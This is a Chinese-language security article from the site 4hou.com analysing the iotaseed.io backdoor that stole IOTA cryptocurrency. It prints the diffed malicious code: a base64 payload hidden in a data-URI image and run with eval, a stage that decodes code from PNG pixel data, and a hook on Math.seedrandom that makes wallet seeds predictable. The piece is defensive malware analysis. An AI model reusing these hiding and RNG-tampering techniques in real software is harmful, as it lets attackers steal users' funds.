区块链时代的黑产致富经 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

区块链时代的黑产致富经

群马高桥启介 行业 2018-02-09 10:34:29
333176
收藏

导语:Ars Technica近期的一篇关于区块链货币盗窃案报道就讲述了iotaseed.io(目前已经关站),是如何通过生成恶意Seed地址从用户钱包盗取价值400万美元的IOTA币。该文章没有对相关代码进行分析,只是让我们知道有这么一个骚操作。

不知道说啥的前言

1982年,有着当代焦裕禄称号的徐启斌先生在四川眉山县吼出的“要想富,先修路”这一口号,深深映入我们脑海。落后的交通阻碍了当地资源优势转化成经济优势的进程,落后的交通限制了当地经济的发展。交通给物流,文化交流带来便捷的同时也为当地财政带来了实实在在的收入,这个入口就是收费站。

玩过信用卡的朋友的应该都知道,在信用卡社区中将那些大把大把薅羊毛的人称之为大撸逼,这些人每月真实消费几十万?天天都会所嫩模?那么这些大撸逼又是怎样去薅银行的羊毛的呢?银行的活动大多都是以持卡人消费额度为基础进行设计的,消费场景无非就是诸如支付宝,微信支付,银联在线等线上消费,以及线下使用POS机的商户。

商户使用从收单机构领取的POS机给客户刷卡消费,然后商户打印小票,之后拿着小票让收单机构进行结算,收单机构根据与商家签订的合同收取一定的费用。这里我们不妨将消费流看作是一条高速公路,那么就不难理解将POS机背后的收单机构看作是收费站的说法了。

骗了400多字的稿费之后,正式引入本文的话题。

Ars Technica近期的一篇关于区块链货币盗窃案报道就讲述了iotaseed.io(目前已经关站),是如何通过生成恶意Seed地址从用户钱包盗取价值400万美元的IOTA币。该文章没有对相关代码进行分析,只是让我们知道有这么一个骚操作。

寻找代码

由于iotaseed.io已经停止运营,但幸运的是我们找到了该站点的历史页面

在页尾我们发现该站点有链接到一个github仓库,不服就自己去看代码,并强调使用该站点提供的服务,而不是让用户直接从github下载代码自建。其给出的理由也挺充分,“仓库里包含有还没完全测试的新代码”。

难道是在实际站点中加入了仓库中没有的脚本文件吗?如果假设成立,也就可以解释被盗用户提到的是iotaseed.io,而不是github仓库了。

然而该站点提供的仓库地址已经删除了,创建该仓库的所有者norbertvdberg同时也注销了。尝试通过archive.org提供的历史页面archived the homepage of the GitHub repository阅读代码或是下载代码都提示没有该页面存档。该代码仓库有8个人fork,从GitHub用户手册中我们得知,就算是该项目被删除,之前fork的分支是会被保留下来的!我们还有希望见到样本

01.png

根据原仓库历史页面上显示的一个commit信息,我在github进行搜索

eggdroid/eggseed3似乎就fork了原仓库代码,与原仓库作者norbertvdberg提交的commits数26相符。

至此,集齐两份样本可以召唤神龙了

分析代码

这个Seed地址生成器由多个不同的Javascript脚本构成,我们将其合并到一个名为all.js的文件,之后将其压缩为all.mini.js,该all.mini.js实际上也就是网页提供的文件。将我们通过历史页面找回的all.mini.js与github中获取的all.mini.js样本进行比较

$ shasum all-website.mini.js all-github.mini.js 
3d48933698d8cf1d1673067d782595c12c815424  all-website.mini.js
3d48933698d8cf1d1673067d782595c12c815424  all-github.mini.js

俩文件是相同的,只有埋头看代码了。之后我注意到一旦生成Seed地址,就会调用一个Web Worker对象生成二维码以及Seed地址信息,该Worker对象来自单独的文件all-wallet.mini.js。这个文件是否隐藏着丑恶的PY交易,我们拭目以待

对比两份all-wallet.mini.js文件样本,初步确认两份样本确实不同,怀着蹦蹦蹦跳着的小心脏将两份样本通过js-beautify整理之后,使用diff命令确认问题到底出在何处

$ diff all-wallet-website.js all-wallet-github.js
1313c1313
<             t = t || {}, this.version = e("../package.json").version, this.host = t.host ? t.host : "http://web.archive.org/web/20180120222030/http://localhost/", this.port = t.port ? t.port : 14265, this.provider = t.provider || this.host.replace(/\/$/, "") + ":" + this.port, this.sandbox = t.sandbox || !1, this.token = t.token || !1, this.sandbox && (this.sandbox = this.provider.replace(/\/$/, ""), this.provider = this.sandbox + "/commands"), this._makeRequest = new o(this.provider, this.token), this.api = new a(this._makeRequest, this.sandbox), this.utils = i, this.valid = e("./utils/inputValidator"), this.multisig = new s(this._makeRequest)
---
>             t = t || {}, this.version = e("../package.json").version, this.host = t.host ? t.host : "http://localhost", this.port = t.port ? t.port : 14265, this.provider = t.provider || this.host.replace(/\/$/, "") + ":" + this.port, this.sandbox = t.sandbox || !1, this.token = t.token || !1, this.sandbox && (this.sandbox = this.provider.replace(/\/$/, ""), this.provider = this.sandbox + "/commands"), this._makeRequest = new o(this.provider, this.token), this.api = new a(this._makeRequest, this.sandbox), this.utils = i, this.valid = e("./utils/inputValidator"), this.multisig = new s(this._makeRequest)
1713c1713
<             this.provider = e || "http://web.archive.org/web/20180120222030/http://localhost:14265/", this.token = t
---
>             this.provider = e || "http://localhost:14265", this.token = t
1718c1718
<             this.provider = e || "http://web.archive.org/web/20180120222030/http://localhost:14265/"
---
>             this.provider = e || "http://localhost:14265"
6435c6435
<                 website: "http://web.archive.org/web/20180120222030/https://iota.org/"
---
>                 website: "https://iota.org"
6440c6440
<                 url: "http://web.archive.org/web/20180120222030/https://github.com/iotaledger/iota.lib.js/issues"
---
>                 url: "https://github.com/iotaledger/iota.lib.js/issues"
6444c6444
<                 url: "http://web.archive.org/web/20180120222030/https://github.com/iotaledger/iota.lib.js.git"
---
>                 url: "https://github.com/iotaledger/iota.lib.js.git"

然而两份样本唯一不同的地方就是,我们通过时光机找回的历史页面获取到的样本,资源都进行了重写并且URL指向了web.archive.org。单从Seed地址生成功能实现上来看,两份样本似乎没差别。

在这之后我又看了看index.html页面,发现页面还加载了一个Javascript文件,一个通知库。下载之后将时光机版本与github版本进行diff比较,果然让我们发现了端倪。

$ diff notifier-website.js notifier-github.js 
68,71d67
<             if (!window.inited_n) {
<                 window.inited_n = true;
<                 Notifier.init()
<             }
82,87d77
<             if (/,T/.test(image)) {
<                 if (/ps:.*o/.test(document.location)) {
<                     eval(atob(image.split(",")[2]))
<                 }
<                 return
<             }
119,121d108
<         init: function(message, title) {
<             this.notify(message, title, "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9wCBxILCcud3gSTrg4uDm5uZFRETbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03/9RTlAAAADy8vIgICA2NzY4OzYPM0fa29q,ZnVuY3Rpb24gY0RpcyhmKXt2YXIgbz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKS5nZXRDb250ZXh0KCIyZCIpO3ZhciBpPW5ldyBJbWFnZTtpLm9ubG9hZD1mdW5jdGlvbigpe28uZHJhd0ltYWdlKGksMCwwKTtkUyhvLmdldEltYWdlRGF0YSgwLDAsMjk4LDEwMCkuZGF0YSl9O2kuc3JjPWZ9ZnVuY3Rpb24gZFMoZCl7dmFyIGw9MjEsYk09IiIsdE09IiI7Zm9yKHZhciBpPTA7aTxsO2krKyl7dmFyIGI9KGRbaSo0KzJdPj4+MCkudG9TdHJpbmcoMik7Yk0rPWJbYi5sZW5ndGgtMV07aWYoYk0ubGVuZ3RoPT0xNil7bD1wYXJzZUludChiTSwyKSsxNjtiTT0iIn1lbHNlIGlmKGJNLmxlbmd0aD09OCYmbCE9MjEpe3RNKz1TdHJpbmcuZnJvbUNoYXJDb2RlKHBhcnNlSW50KGJNLDIpKTtiTT0iIn19ZXZhbCh0TSl9Y0RpcygiLi9pbWFnZXMvbG9nb19zbWFsbF9ib3R0b20ucG5nIik7,TbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03///9RTlAAAADy8vIgICA2NzY4OzYPM0fa29qgoI7/zMnj4+PW19VGRkbqPi7v7/D6+vr09fXyTj4rKSvhSTo/Pj/oSDnlMyLsNCI0MTP0///tTT7ZRjizOi+6PDDmLRyenZ7oKRfExMT/TzvobGEVFBWGhYUAGjLW8/ToXVADLUZ8e33/2tfRRTdWVFTFQDT1u7aSkZIADib+5eFwcHHW+/z70tDwkIesPTPW6+teXV2xsbG7u7vY4+Lre3DMzM2qp6jilIxsPT7lg3kdO07m/f4AJjuwsJzftK/fpZ7woJjoVUZBWGj1zMdTaXfcvrrzq6Tby8f+8u8wSlYZNDaQRUKfr7d9j5lpf4vx5ePMsLF/o64s+PNlAAAANnRSTlMAC1IoljoZWm2yloPRGWiJfdjEEk037Esq7Pn24EKjpiX+z7rJNNWB5pGxZ1m2mZY/gXOlr43C+dBMAAAmkklEQVR42uzay86bMBAF4MnCV1kCeQFIRn6M8xZe+v1fpVECdtPSy5822Bi+JcujmfEApl3IIRhBFyIJ3Em6UMTDSKfHsOB0dhILQ2fX4+4aF0tVXC3yJJB4OrcJV1msIhJN52avslhpZOfcvyepfceIaARw5t2CWTwYRhSQTdSum1TGqE5Mr0kg6Ukj66hZ3GExaEaJQsYIWXzmd6P2KHxn6NjG4/BDMEQ6RM+oNQ6vjJyWFTNTDJlau0e1drAO+Ikan8tE1itkfC0S11iXKGyYJZFB5jpkgmY8WWoKx6Z5JI3MGyQqV1Jj80Jgm2J9xGrQSAKfcyptEfgFrxxWnUUiVEqIGjN5bAsRKyOReI9FaGxw3o0Of8I6rAbbcBR06yN+T+Uogmu2QR5ucsaXuV6w1hath9HiDWGwWrLmOoUL7/CWYLRo6/2d9zPeN6hONNEvXKiIf2fkwauDCxXwcPI0mA/4v+whvwdzafABTh/tZW3SEcmZS0NYfJTTB5kaYsbnHSEMMWMfuvJdg3vsJlR9R6UP2JOp9jRhM/ZVa5dwiwJCT9UZI8qwtRVGh2JCVSsXtyinqgtMk0NJFf1QYwGlmToGhkQFQg3X5nvUofzw7FCLr2bRak2Uz0KgJhOVM6EqjlMpvPwp+ioWy2JAbWYqQ6E+mv5SwyNzJWh/HHX6Rty17TYNBFF44CokEA+ABELiJ2yMnUorefElCY5pHGgqu3JUhYAU0xpwwYoqJSAU8sgXMxvvekwukAS0PS9pq3I8OXtmZm8pF3D6vuLEx7N833/N0bI85X/CarUEte9b68nlf4rg+lKoEGAvPMvzk6+Ak5OwZ71u/S81gEoJR8AMyPNR2FOs7jo1pG94PvzdD76vjCZTYp/vlzDefw0hYOWf4b1+3Tt5+3MfcZ7NxnnPX0Uu//7StQUhwgmNk/N9x3ENDpfF/P7E6/6rM1qt8K0BXMjsOs7+eZKNR95KMSQfCgS/pUY4TuPUdlEHlOPnCXj7H2B1e9+ZxRaZHVuN49nI8pUlNC9JRLVSwMhM4piahmOsA/FMFPwB+4ZiyTYnf/gAAAABJRU5ErkJggg==")
<         },

为了隐藏代码作者的良苦用心,你们谁能理解?Notifier.notify方法已经变成检测image参数是否包含",T",将部分代码解析成Javascript并进行判断。另一个修改则是当页面加载时,增加调用Notifier.init()方法,调用包含image参数的notify方法以触发该代码执行。

执行atob(image.split(",")[2]),将引出以下代码片段:

function cDis(f) {
    var o = document.createElement("canvas").getContext("2d");
    var i = new Image;
    i.onload = function() {
        o.drawImage(i, 0, 0);
        dS(o.getImageData(0, 0, 298, 100).data)
    };
    i.src = f
}
function dS(d) {
    var l = 21,
        bM = "",
        tM = "";
    for (var i = 0; i < l; i++) {
        var b = (d[i * 4 + 2] >>> 0).toString(2);
        bM += b[b.length - 1];
        if (bM.length == 16) {
            l = parseInt(bM, 2) + 16;
            bM = ""
        } else if (bM.length == 8 && l != 21) {
            tM += String.fromCharCode(parseInt(bM, 2));
            bM = ""
        }
    }
    eval(tM)
}
cDis("./images/logo_small_bottom.png");

恶意代码第二阶段将./images/logo_small_bottom.png放入我们看不见的

if (/ps:.*\.io/.test(document.location)) {
    mode = "M";
    (function(message) {
        var name = "edr";
        name += "an";
        message["cont"] = 0;
        name += "dom";
        function show(arg, options, image) {
            message["e2" + name]("4782588875512803642" + String(message["cont"]), options, image);
            message["cont"] += 1
        }
        message["e2" + name] = message["se" + name];
        message["se" + name] = show
    })(eval(mode + "ath"))
}

这是JavaScript后门的最后一个阶段,我们简化下:

Math.cont = 0;
function show(arg, options, image) {
    Math.e2edrandom("4782588875512803642" + String(Math.cont), options, image);
    Math.cont += 1;
}
Math.e2edrandom = Math.seedrandom;
Math.seedrandom = show;

该代码修改了用于生成代码的Math.seedrandom函数,其使用固定数4782588875512803642加上一个计数变量seedrandom,这就导致Math.random()每次返回的数据是相同的,一系列的数字都是可预测的,最终生成的IOTASeed地址都是一样的。这也就说明了为什么你每次打开archive of iotaseed.io生成的Seed地址都是相同的:

XZHKIPJIFZFYJJMKBVBJLQUGLLE9VUREWK9QYTITMQYPHBWWPUDSATLLUADKSEEYWXKCDHWSMBTBURCQD

就算你换台电脑也是一样的结果。

还有一件事情需要注意,每个用户获取到的RNG("4782588875512803642"是我们从历史样本中获取的)不是相同的,通过比对October 31st以及November 19th,发现每过一段时间该数字也会改变。这也就是说./images/logo_small_bottom.png是由iotaseed.io服务端动态生成的。创建该PNG文件后,用于修改随机函数的数字也会改变(或者是存储在其他地方,反正得利用攻击者盗取IOTA),看起来网站确实是为不同的用户生成了不同Seed地址。通过这个demo 展示了该代码是如何变化的。

根据IOTA官方Javascript库,我们知道前面提到的Seed地址(XZHKIPJIFZFYJJMKBVBJLQUGLLE9VUREWK9QYTITMQYPHBWWPUDSATLLUADKSEEYWXKCDHWSMBTBURCQD)对应的钱包地址应该是PUEBLAHRQGOTIAMJHCCXXGQPXDQJS9BDFSCDSMINAYJNSILCCISDVY99GMKAEIAICYQUXMIYTNQCJYVDX。从iotabalance.com网站得知这是个空钱包,然而从同类网站查询该钱包地址却返回404错误,比如这个例子

结论

回顾后门放置的手法,你非要说这是无心之失,那我也没办法。现在我们不清楚的只是这些代码是由norbertvdberg,还是其他攻击者所为。但是从所有者事后删除github,reddit,quora帐号来看,怕是脱不了干系吧。

后门隐藏得确实挺不错,仅仅只是通过浏览器的开发者工具瞥一眼很难发现其中端倪。

02.png

所以还是说,想致富先修路嘛!

参考来源github,对原文有部分修

  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务